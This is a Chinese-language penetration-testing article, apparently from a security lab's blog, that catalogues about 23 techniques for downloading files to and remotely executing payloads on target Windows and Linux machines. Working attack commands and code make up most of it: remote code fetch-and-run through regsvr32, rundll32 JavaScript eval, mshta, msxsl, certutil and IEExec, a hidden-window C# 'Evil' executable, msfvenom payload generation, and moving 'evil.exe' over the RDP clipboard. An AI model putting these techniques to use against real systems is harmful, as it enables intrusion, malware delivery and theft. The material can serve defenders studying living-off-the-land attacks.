PowerShell File Download
$p = New-Object System.Net.WebClient$p.DownloadFile("http://domain/file" "C:\%homepath%\file")有的時候PowerShell的執行權限會被關閉,需要使用如下的語句打開。C:\>powershell set-executionpolicy unrestricted
Visual Basic File Download在1998年Visual Basic最終標準在windows上確定。下面的代碼可以實現下載文件,雖然它的長度比Powershell長多了。Set args = Wscript.ArgumentsUrl = "http://domain/file"dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")dim bStrm: Set bStrm = createobject("Adodb.Stream")xHttp.Open "GET", Url, FalsexHttp.Sendwith bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:\%homepath%\file", 2 'end with在windows中Cscript指令可以允許你執行VBS腳本文件或者對script腳本做一些設置。在windows 7中這個指令並不是必須要用到。但是在windows XP中需要使用這條指令,如下所示。以下四種語言都不是系統原生腳本,但是如果你的目標機器安裝了這些語言,你就可以使用他們來下載文件。Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。use LWP::Simple;getstore("http://domain/file", "file");Python File Download
Python也是很受歡迎的主流腳本語言,代碼清晰且簡潔。
#!python#!/usr/bin/pythonimport urllib2u = urllib2.urlopen('http://domain/file')localFile = open('local_file', 'w')localFile.write(u.read())localFile.close()
Ruby File DownloadRuby是一個面對對象的語言,Metasploit框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。
require 'net/http'Net::HTTP.start("www.domain.com") { |http|r = http.get("/file")open("save_location", "wb") { |file|file.write(r.body)}}
PHP File DownloadPHP作為一種服務端腳本,也可以實現下載文件這種功能。
<?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh);?>下面的上傳文件的方法,可能需要更多步驟,但是有些情況下卻可以繞過去多限制。一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。ftp 127.0.0.1usernamepasswordget fileexit
TFTP File Download在Windows Vista以及以後的版本中默認有FTP,可以使用以下命令運行:
tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
Bitsadmin File DownloadBitsadmin是Windows命令行工具,用戶可以使用它來創建下載或上傳的任務。
bitsadmin /transfer n http://domain/file c:\%homepath%\file
Wget File DownloadWget是Linux和Windows下的一個工具,允許非交互下載。
Netcat File Download
這個命令會將file的內容輸出到本地的1234埠中,然後不論誰連接此埠,file的內容將會發送到連接過來的IP。這條命令將連接攻擊者的電腦,接受file內容保存。
Windows Share File DownloadWindows shares可以加載一個驅動器,然後用命令來複製文件。
加載遠程驅動:
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
Notepad Dialog Box File Download
如果你有權限接入一臺(遠程連接或者物理機)電腦,但是你用戶權限不允許打開瀏覽器,這種方式可以讓你快速的從一個URL或者UNC路徑當中下載文件。打開notepad
點擊file - open
Notepad將會獲取URL的內容展現出來。
Exe to Txt, and Txt to Exe with PowerShell and Nishang
http://code.google.com/p/nishang/downloads/list
當需要把一個exe文件放到目標計算機上時,這可能是我最喜歡的工具,Nishang使用PowerShell允許你把一個exe轉換成hex,然後把hex再轉換成原來的exe文件。PS > .\ExetoText.ps1 evil.exe evil.txt打開evil.txt文件,複製內容,然後通過RDP的剪貼板複製進目標計算機。PS > .\TexttoExe.ps1 evil.text evil.exe
Csc.exe to Compile Source from a FileC#編譯器(CSC)是包含在Windows微軟.NET安裝中的命令行編譯器。
C:\Windows\Microsoft.NET\Framework\version使用下面的示例代碼,編譯後的可執行文件將使用的cmd.exe來查詢本地用戶,然後將結果寫入一個在C:\Temp\users.txt中。可以修改其中的代碼,達到自己想要的目的,然後編譯成exe文件。public class Evil{ public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:\\Temp\\users.txt"; process.StartInfo = startInfo; process.Start(); }}csc.exe /out:C:\evil\evil.exe C:\evil\evil.csCertutil.exe是一個命令行程序,作為證書服務的一部分安裝。可以使用Certutil.exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件,以及驗證證書,密鑰對和證書鏈。
文件下載並執行如下:
certutil -urlcache -split -f http:Regsvr32命令用於註冊COM組件,是 Windows 系統提供的用來向系統註冊控制項或者卸載控制項的命令,以命令行方式運行。WinXP及以上系統的regsvr32.exe在windows\system32文件夾下;2000系統的regsvr32.exe在winnt\system32文件夾下。
regsvr32 /u /s /i:http://site.com/js.png scrobj.dlljs.png
<?XML version="1.0"?><scriptlet><registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ ps = "cmd.exe /c calc.exe"; new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]></script></registration></scriptlet>pubprn.vbs在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已籤名WSH腳本,其位於C:\Windows\System32\Printing_Admin_Scripts\en-US,仔細觀察該腳本可以發現其顯然是由用戶提供輸入(通過命令行參數),之後再將參數傳遞給GetObject()
也就是說我們可以運行該腳本,然後按照預期將這2個參數傳遞出去。第一個參數是啥無所謂,第二個參數則是通過script: moniker構造的payload注意:如果你在第一個參數中提供了一個非網絡地址的值(因為其預期是一個伺服器名稱),你可以加上/b切換到cscript.execscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sctrundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%mshtamshta http://site.com/calc.htamshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")objShell.Run "calc.exe"self.close</script><body>demo</body></HEAD> </HTML>msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
msxsl.exe(需下載)msxsl https://evi1cg.github.io/scripts/demo.xml https://evi1cg.github.io/scripts/exec.xsldemo.xml
<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers><?xml version='1.0'?><xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:msxsl="urn:schemas-microsoft-com:xslt"xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) {var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; }</msxsl:script><xsl:template match="/"> <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>
IEExecC:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s offC:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec http://site.com/files/test64.exe當然除了列舉的這23種方法以外還有許多其它的辦法來上傳文件。希望這篇文章對大家有幫助!
https://evi1cg.me/archives/remote_exec.html新書:《內網安全攻防:滲透測試實戰指南》火爆上市!
購買連結:https://item.jd.com/12743210.html
Ms08067安全實驗室
專注於普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,預計2019年10月出版《內網安全攻防:滲透測試實戰指南》,12月出版《CTF競賽秘笈-入門篇》,目前在編Python滲透測試,JAVA代碼審計和APT方面的書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:www.ms08067.com